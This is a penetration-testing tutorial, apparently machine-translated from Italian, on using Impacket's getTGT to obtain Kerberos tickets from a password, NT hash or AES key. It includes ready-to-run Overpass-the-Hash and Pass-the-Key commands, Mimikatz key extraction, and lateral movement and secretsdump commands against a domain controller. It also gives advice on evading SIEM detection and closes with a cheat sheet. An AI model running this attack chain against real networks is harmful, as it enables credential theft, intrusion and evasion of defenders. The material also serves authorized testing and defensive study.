getTGT.py: Getting a Kerberos TGT with Hash or AES

How to use impacket-getTGT to request a Kerberos TGT and save it in ccache format using a password, NTLM hash, or AES key in Active Directory.
- Posted on 2026-07-29
- Reading time: 4 min
getTGT.py — Request a Kerberos TGT from Kali with Impacket #
getTGT.pyIt does one thing: sends an AS-REQ to the DC and comes back with a TGT saved in a file..ccache. But to understand because This is useful in a pentest, you need to understand what you are giving it as input and what comes back to you.
getTGT.py is part of Packet
and is the entry point into the world of Kerberos tickets from Linux. Whenever an attack on Active Directory
If you find an NTLM hash or AES key and want to move laterally without using NTLM, this is where you go.
The problem it solves #
On Windows, when a user authenticates, the system automatically constructs Kerberos credentials and obtains a TGT. On Kali, you don't have this mechanism—you have to manually request it from the DC.
getTGT.py implements the client side of the AS-REQ/AS-REP flow (the first phase of Kerberos) and does so from outside the domain, without joining, using cryptographic material you have already obtained.
What it accepts as input: the three scenarios #
The key is to understand what credentials you're using in the AS-REQ. Kerberos doesn't use the cleartext password; it uses a key derived from it. getTGT.py accepts three forms of that key:
Scenario 1 — Cleartext Password #
The password is used internally to derive Kerberos keys (DES, RC4, AES128, AES256) and build pre-authentication in the AS-REQ. This is the most obvious but least common case in an advanced pentest—you usually have a hash, not a password.
impacket-getTGT corp.local/john.doe -dc-ip 10.10.10.5
# → ti chiede la password interattivamente
# Oppure inline
impacket-getTGT corp.local/john.doe:Password123 -dc-ip 10.10.10.5
# [*] Saving ticket in john.doe.ccacheScenario 2 — NT hash (Overpass-the-Hash) #
You have the user's NT hash—obtained from credential dumping , secretsdump, and LSASS dump. The NT hash is the Kerberos RC4 key; they're cryptographically the same. You can then use it directly to construct the pre-authentication in the AS-REQ and obtain a valid Kerberos TGT.
This is called Overpass-the-Hash : it converts an NTLM (Pass-the-Hash) attack into a Kerberos attack, avoiding the more easily detectable NTLM traffic.
impacket-getTGT corp.local/john.doe -hashes :NThashQUI -dc-ip 10.10.10.5
# Il campo LM può essere vuoto (aad3b435... o semplicemente :)
impacket-getTGT corp.local/john.doe -hashes aad3b435b51404eeaad3b435b51404ee:NThash -dc-ip 10.10.10.5
# [*] Saving ticket in john.doe.ccacheScenario 3 — AES Key (Pass-the-Key) #
In modern environments with RC4 disabled, the NT hash does not work because the DC no longer accepts RC4 ciphers in AS-REQs. The solution is to use the AES128 or AES256 key, which you can get from Mimikatz with sekurlsa::ekeys or from secretsdump.
This is called Pass-the-Key —technically identical to Overpass-the-Hash but with a different key. It's also stealthier because AES is the default in Windows since Vista and doesn't generate log anomalies like RC4 does on modern environments.
# AES256 (più comune e più stealth)
impacket-getTGT corp.local/john.doe -aesKey AES256KeyQUI -dc-ip 10.10.10.5
# AES128
impacket-getTGT corp.local/john.doe -aesKey AES128KeyQUI -dc-ip 10.10.10.5
# Come ottenere la chiave AES da Mimikatz
# .\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" "exit"
# → cerca "aes256_hmac" accanto all'utente targetThe .ccache File — What It Is and How to Use It #
The TGT is saved to a file .ccache (Credentials Cache), which is the Linux/MIT Kerberos ticket format. The default file name is nomeutente.ccache.
To use it with any Impacket tool you need to set the environment variable KRB5CCNAME:
export KRB5CCNAME=/path/to/john.doe.ccache
# Verifica che il ticket sia valido
klist
# Credentials cache: FILE:/path/to/john.doe.ccache
# Principal: john.doe@CORP.LOCAL
# Issued Expires Principal
# Mar 14 08:00:00 Mar 14 18:00:00 krbtgt/CORP.LOCAL@CORP.LOCALFrom now on any Impacket tool with -k -no-pass automatically use that ticket:
# Lateral movement con il TGT ottenuto
impacket-psexec -k -no-pass corp.local/john.doe@TARGET.corp.local
impacket-wmiexec -k -no-pass corp.local/john.doe@TARGET.corp.local
impacket-smbclient -k -no-pass corp.local/john.doe@TARGET.corp.local
impacket-secretsdump -k -no-pass corp.local/john.doe@DC01.corp.local
# Con nxc
nxc smb TARGET.corp.local -k --use-kcache -u john.doePay attention to the FQDN: Kerberos requires the target's FQDN, not its IP. If you use an IP with
-kyou get type errorsKRB_AP_ERR_MODIFIEDoCannot determine realmAlways use the full hostname.
Conversion ccache ↔ kirbi #
Windows uses the format .kirbi (Mimikatz/Rubeus) If you have a ticket from a Windows system and want to use it from Kali, or vice versa, you need to convert it.
# .kirbi (Windows) → .ccache (Linux/Impacket)
impacket-ticketConverter john.doe.kirbi john.doe.ccache
export KRB5CCNAME=john.doe.ccache
# .ccache (Linux) → .kirbi (Windows)
impacket-ticketConverter john.doe.ccache john.doe.kirbi
# Poi su Windows: Rubeus.exe ptt /ticket:john.doe.kirbiOPSEC — RC4 vs AES #
This distinction is important in environments with advanced detection:
| Input | Encryption in the AS-REQ | Detectable anomaly |
|---|---|---|
| Password | AES256 (default) | No — normal behavior |
| NT hash | RC4-HMAC (0x17) | Yes — on Win2016+ environments that use AES by default |
| AES256 key | AES256 | No — identical to a normal login |
| AES128 key | AES128 | No — less common but acceptable |
If you have both the NT hash and the AES key, always use AESRC4 in a modern environment is an immediate IoC for any SIEM with rule on Event ID 4768 with encryption type 0x17.
getTGT vs getST — the difference #
It's a common confusion:
getTGT.py→ do the AS-REQ → get a TGT (ticket to request more tickets)getST.py→ do the TGS-REQ using the TGT → get a Service Ticket (ticket for a specific service)
Practically: getTGT it's always the first step. getST comes later, or when you already have a TGT and want to do Constrained Delegation, RBCD, or impersonation (see getST.py
).
# Flusso completo: hash → TGT → Service Ticket → shell
impacket-getTGT corp.local/john.doe -hashes :NThash -dc-ip 10.10.10.5
export KRB5CCNAME=john.doe.ccache
# Ora puoi accedere direttamente con -k -no-pass
# oppure usare getST per S4U/RBCD
impacket-getST -spn cifs/TARGET.corp.local -k -no-pass corp.local/john.doe -dc-ip 10.10.10.5Troubleshooting #
| Error | Cause | Solution |
|---|---|---|
KDC_ERR_PREAUTH_FAILED | Incorrect hash/key or incorrect account | Verify your credentials |
KDC_ERR_ETYPE_NOSUPP | RC4 disabled in domain | Usa -aesKey instead of -hashes |
KRB_AP_ERR_MODIFIED | You are using IP instead of FQDN | Use the full hostname |
KDC_ERR_C_PRINCIPAL_UNKNOWN | User does not exist in the domain | Verify your username |
Clock skew too great | Kali's clock is off by more than 5 minutes | ntpdate towards the DC or net time |
Clock skew is a common problem: Kerberos tolerates a maximum 5-minute difference. If the Kali machine is not synchronized with the DC, the TGT is not released.
# Sincronizza il clock con il DC
sudo ntpdate 10.10.10.5
# oppure
sudo rdate -n 10.10.10.5Cheat sheet #
# Con password
impacket-getTGT corp.local/user:Password123 -dc-ip DC_IP
# Overpass-the-Hash (NT hash → TGT Kerberos)
impacket-getTGT corp.local/user -hashes :NThash -dc-ip DC_IP
# Pass-the-Key (AES → TGT, più stealth)
impacket-getTGT corp.local/user -aesKey AES256Key -dc-ip DC_IP
# Usa il TGT con qualsiasi tool
export KRB5CCNAME=user.ccache
klist # verifica validità
impacket-psexec -k -no-pass corp.local/user@TARGET.FQDN
impacket-wmiexec -k -no-pass corp.local/user@TARGET.FQDN
impacket-secretsdump -k -no-pass corp.local/user@DC.FQDN
nxc smb TARGET.FQDN -k --use-kcache -u user
# Converti formato
impacket-ticketConverter ticket.kirbi ticket.ccache
impacket-ticketConverter ticket.ccache ticket.kirbi
# Clock sync se Kerberos fallisce
sudo ntpdate DC_IP
# Regola OPSEC: usa aesKey se disponibile, non RC4
# RC4 su ambienti Win2016+ → Event ID 4768 con etype 0x17 → alertRelated articles:
- Impacket: complete suite
- Kerberos: Architecture and Flow
- TGT — Ticket Granting Ticket in depth
- getST.py — Service Ticket and Delegation
- Credential Dumping on Windows
- Mimikatz: sekurlsa::ekeys for AES keys
- Pass the Hash
- Active Directory: exploitation guide
For use in authorized environments only.
#impacket #kerberos #active-directory








